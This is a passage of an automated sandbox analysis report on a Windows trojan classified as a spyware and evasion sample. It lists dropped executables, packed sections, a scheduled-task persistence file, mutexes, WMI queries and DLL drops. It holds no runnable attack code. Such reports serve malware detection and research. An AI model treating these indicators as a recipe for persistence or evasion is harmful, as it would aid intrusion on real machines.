Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name:
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name:
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name: .rsrc
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name: .idata
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe.10.dr	Static PE information: section name: .idata
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name:
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name: .rsrc
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name: .idata
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: random[1].exe0.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.10.dr	Static PE information: section name: .idata
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name:
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name: .idata
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name:
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name:
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name: .rsrc
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name: .idata
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name:
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: section name:
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: section name: .idata

PE file has a writeable .text section

Source: num.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num[1].exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Creates files inside the system directory

Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Detected potential crypto function

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C63AC60	4_2_6C63AC60
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C70AC30	4_2_6C70AC30
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6F6C00	4_2_6C6F6C00
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C62ECC0	4_2_6C62ECC0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C68ECD0	4_2_6C68ECD0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6FED70	4_2_6C6FED70
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C75AD50	4_2_6C75AD50
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C7B8D20	4_2_6C7B8D20
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C7BCDC0	4_2_6C7BCDC0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C634DB0	4_2_6C634DB0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6C6D90	4_2_6C6C6D90
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6CEE70	4_2_6C6CEE70
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C710E20	4_2_6C710E20
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C63AEC0	4_2_6C63AEC0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6D0EC0	4_2_6C6D0EC0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6B6E90	4_2_6C6B6E90
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6F2F70	4_2_6C6F2F70
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C69EF40	4_2_6C69EF40
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C770F20	4_2_6C770F20
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C636F10	4_2_6C636F10
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C70EFF0	4_2_6C70EFF0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C630FE0	4_2_6C630FE0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C778FB0	4_2_6C778FB0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C63EFB0	4_2_6C63EFB0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C704840	4_2_6C704840
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C680820	4_2_6C680820
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6BA820	4_2_6C6BA820
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C7368E0	4_2_6C7368E0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C668960	4_2_6C668960
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C686900	4_2_6C686900
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C74C9E0	4_2_6C74C9E0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6649F0	4_2_6C6649F0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6C09A0	4_2_6C6C09A0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6EA9A0	4_2_6C6EA9A0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6F09B0	4_2_6C6F09B0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6ACA70	4_2_6C6ACA70
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6E8A30	4_2_6C6E8A30
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6DEA00	4_2_6C6DEA00
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6AEA80	4_2_6C6AEA80
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C736BE0	4_2_6C736BE0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6D0BA0	4_2_6C6D0BA0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C648460	4_2_6C648460
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C694420	4_2_6C694420
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6BA430	4_2_6C6BA430
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6764D0	4_2_6C6764D0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6CA4D0	4_2_6C6CA4D0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C75A480	4_2_6C75A480
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C692560	4_2_6C692560
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6D0570	4_2_6C6D0570
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C778550	4_2_6C778550
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C688540	4_2_6C688540
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C734540	4_2_6C734540
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6FA5E0	4_2_6C6FA5E0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6BE5F0	4_2_6C6BE5F0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6245B0	4_2_6C6245B0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C68C650	4_2_6C68C650
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C68E6E0	4_2_6C68E6E0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6CE6E0	4_2_6C6CE6E0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6546D0	4_2_6C6546D0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6B0700	4_2_6C6B0700
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C65A7D0	4_2_6C65A7D0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C67E070	4_2_6C67E070
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6FC000	4_2_6C6FC000
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6F8010	4_2_6C6F8010
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C70C0B0	4_2_6C70C0B0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6400B0	4_2_6C6400B0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C628090	4_2_6C628090
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C698140	4_2_6C698140
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C714130	4_2_6C714130
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6A6130	4_2_6C6A6130
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6301E0	4_2_6C6301E0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6B8260	4_2_6C6B8260
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6C8250	4_2_6C6C8250
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C708220	4_2_6C708220
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6FA210	4_2_6C6FA210
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C7B62C0	4_2_6C7B62C0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C7022A0	4_2_6C7022A0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6FE2B0	4_2_6C6FE2B0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C772370	4_2_6C772370
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C632370	4_2_6C632370
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C74C360	4_2_6C74C360
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6C6370	4_2_6C6C6370
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C638340	4_2_6C638340
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6A2320	4_2_6C6A2320
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6843E0	4_2_6C6843E0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6623A0	4_2_6C6623A0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C68E3B0	4_2_6C68E3B0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C633C40	4_2_6C633C40
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C759C40	4_2_6C759C40
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C641C30	4_2_6C641C30
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6F1CE0	4_2_6C6F1CE0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C76DCD0	4_2_6C76DCD0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C693D00	4_2_6C693D00
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C701DC0	4_2_6C701DC0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C623D80	4_2_6C623D80
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C779D90	4_2_6C779D90
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C78BE70	4_2_6C78BE70
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C7B5E60	4_2_6C7B5E60
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C73DE10	4_2_6C73DE10
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C653EC0	4_2_6C653EC0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C665F20	4_2_6C665F20
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C625F30	4_2_6C625F30
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C787F20	4_2_6C787F20
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6DBFF0	4_2_6C6DBFF0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C74DFC0	4_2_6C74DFC0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C7B3FC0	4_2_6C7B3FC0

Dropped file seen in connection with other malware

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Found potential string decryption / allocating functions

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: String function: 6C769F30 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: String function: 6C659B10 appears 73 times
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: String function: 6C653620 appears 66 times

Uses 32bit PE files

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9995616749174917
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981267029972752
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: Section: tsfqqygy ZLIB complexity 0.9944536857057417
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: Section: xisdcata ZLIB complexity 0.9949372386961908
Source: skotes.exe.3.dr	Static PE information: Section: ZLIB complexity 0.9981267029972752
Source: skotes.exe.3.dr	Static PE information: Section: tsfqqygy ZLIB complexity 0.9944536857057417
Source: random[1].exe.10.dr	Static PE information: Section: ZLIB complexity 0.9995616749174917
Source: 2ffb915ad7.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9995616749174917
Source: random[1].exe0.10.dr	Static PE information: Section: xisdcata ZLIB complexity 0.9949372386961908
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: Section: ZLIB complexity 0.9981267029972752
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: Section: tsfqqygy ZLIB complexity 0.9944536857057417
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: Section: xisdcata ZLIB complexity 0.9949372386961908

Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe0.10.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@57/49@64/12

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Code function: 4_2_6C690300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

4_2_6C690300

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\C8EUNB2B.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7328:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2920:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1100:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:616:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6692:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498503453.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498503453.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498503453.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498503453.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
